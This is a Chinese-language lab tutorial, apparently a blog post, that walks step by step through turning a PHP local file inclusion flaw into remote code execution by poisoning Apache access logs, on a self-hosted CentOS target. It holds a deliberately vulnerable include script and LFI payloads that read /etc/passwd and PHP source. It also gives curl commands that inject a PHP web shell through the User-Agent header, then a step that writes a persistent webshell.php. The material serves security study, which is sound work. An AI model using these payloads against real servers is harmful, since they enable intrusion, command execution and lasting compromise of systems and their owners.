⚠️ 免责声明:本文内容仅供网络安全技术研究与防御学习使用。所有操作均在本地虚拟化环境中完成,未对任何公网或生产系统造成影响。严禁将文中技术用于任何非法用途。
一、前言
LFI(本地文件包含)+ 日志投毒(Log Poisoning)= RCE
这个组合的原理很简单,但利用过程非常优雅:
发现目标存在 LFI 漏洞(能包含任意文件)
但能包含的文件只有日志文件
向日志中"投毒"写入 PHP 代码
用 LFI 包含日志文件触发代码执行
下面我会从靶场搭建开始,一步步复现完整过程。
靶机:CentOS7
攻击机:Kali Linux
二、环境准备
2.1 搭建漏洞环境
# 创建测试目录 mkdir -p /var/www/html/lfi_lab # 创建漏洞文件 index.php cat > /var/www/html/lfi_lab/index.php << 'EOF' <?php $page = $_GET['page']; include($page); ?> EOF # 设置权限 chmod 755 /var/www/html/lfi_lab/index.php chown -R apache:apache /var/www/html/lfi_lab2.2 配置 Apache
# 确保 Apache 错误日志和访问日志开启 sudo vi /etc/httpd/conf/httpd.conf # 确保下面两条未被#注释 ErrorLog "logs/error_log" CustomLog "logs/access_log" combined2.3 验证 LFI 漏洞存在
访问:http://靶机IP/lfi_lab/index.php?page=/etc/passwd
如果成功返回 `/etc/passwd` 内容,说明 LFI 漏洞存在。
三、LFI 基础操作
3.1 读取系统文件
# 读取系统版本信息 ?page=/etc/issue# 读取内核版本 ?page=/proc/version# 读取系统 hosts ?page=/etc/hosts3.2 读取应用源码(php://filter)
直接读 PHP 文件会被执行,用 Base64 编码读取源码:
?page=php://filter/read=convert.base64-encode/resource=index.php # 返回 Base64 编码的内容,解码后看到源码解码得到源码:
3.3 php://input 执行代码(需要 allow_url_include=On)
实现这个操作需要修改php.ini文件
# 查找php.ini所在位置 php -i | grep php.ini # 进入配置文件并修改 sudo vim /etc/php.ini找到allow_url_include=Off修改为On
使用访问http://靶机IP/lfi_lab/index.php?page=php://input
打开Burpsuite抓包,获取抓包信息,将抓包信息修改成POST请求
POST /lfi_lab/index.php?page=php://input HTTP/1.1 Host: 192.168.66.136 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 22 <?php system('id'); ?>但如果allow_url_include = Off(现代 PHP 默认关闭),这个方法就用不了。这时候就需要我们的主角——日志投毒
四、日志投毒(Log Poisoning)原理
4.1 核心思路
Apache/Nginx 默认会把 HTTP 请求的 **User-Agent**、**Referer**、**请求 URL** 等信息记录到日志文件中。
如果我们在 User-Agent 中写入 PHP 代码,这段代码就会被原样写入日志文件。然后我们利用 LFI 包含这个日志文件,PHP 代码就会在服务端执行。
4.2 日志存储位置
# Apache 默认日志路径 /var/log/apache2/access.log # Debian/Ubuntu /var/log/httpd/access_log # CentOS/RHEL # Nginx 默认日志路径 /var/log/nginx/access.log # 自定义日志路径(查看 Apache 配置) grep -r "CustomLog" /etc/apache2/ grep -r "access.log" /etc/nginx/五、实战复现
5.1 第一步:确认 LFI 漏洞
先确认能否包含日志文件:
# 尝试包含 Apache 访问日志 ?page=/var/log/httpd/access_log # 如果能看到日志内容(包含 HTTP 请求记录),说明可以包含日志文件如果返回空白或报错,大概率是apache没有访问日志的权限
# 1. 查看日志目录权限 ls -ld /var/log/httpd # 如果出现下面说明权限不够 drwx------. 2 root root 41 7月 2 11:37 /var/log/httpd/ # 2. 添加执行和读取权限 sudo chmod 755 /var/log/httpd/ # 3. 重新检查权限 ls -ld /var/log/httpd5.2 第二步:向日志注入 PHP 代码
在kali使用curl发送恶意请求,在 User-Agent 中写入 PHP 代码:
# 注入一个简单的 WebShell curl -A "<?php system(\$_GET['cmd']); ?>" http://靶机IP//lfi_lab/index.php?page=test注意: 请求的 URL 末尾必须是服务端不存在的页面(如 `page=test`),这样才会在日志中产生记录,同时又不会影响正常的应用功能。
5.3 第三步:验证代码已写入日志
# 查看日志是否包含 PHP 代码 ?page=/var/log/httpd/access_log在日志内容中你应该能看到类似这样的记录:
5.4 第四步:通过 LFI 触发代码执行
# 包含日志文件,同时传入 cmd 参数 ?page=/var/log/httpd/access_log&cmd=id如果成功,你应该能看到 uid=48(apache) gid=48(apache) groups=48(apache) 等信息
5.5 第五步:写入 WebShell 实现持久化
# 写入一句话木马 curl -A "<?php file_put_contents('/var/www/html/lfi_lab/webshell.php', '<?php system(\$_GET["cmd"]); ?>'); ?>" http://靶机IP/lfi_lab/index.php?page=test # 包含日志触发写入 ?page=/var/log/httpd/access_log&cmd=id # 访问 WebShell http://靶机IP/lfi_lab/webshell.php?cmd=whoami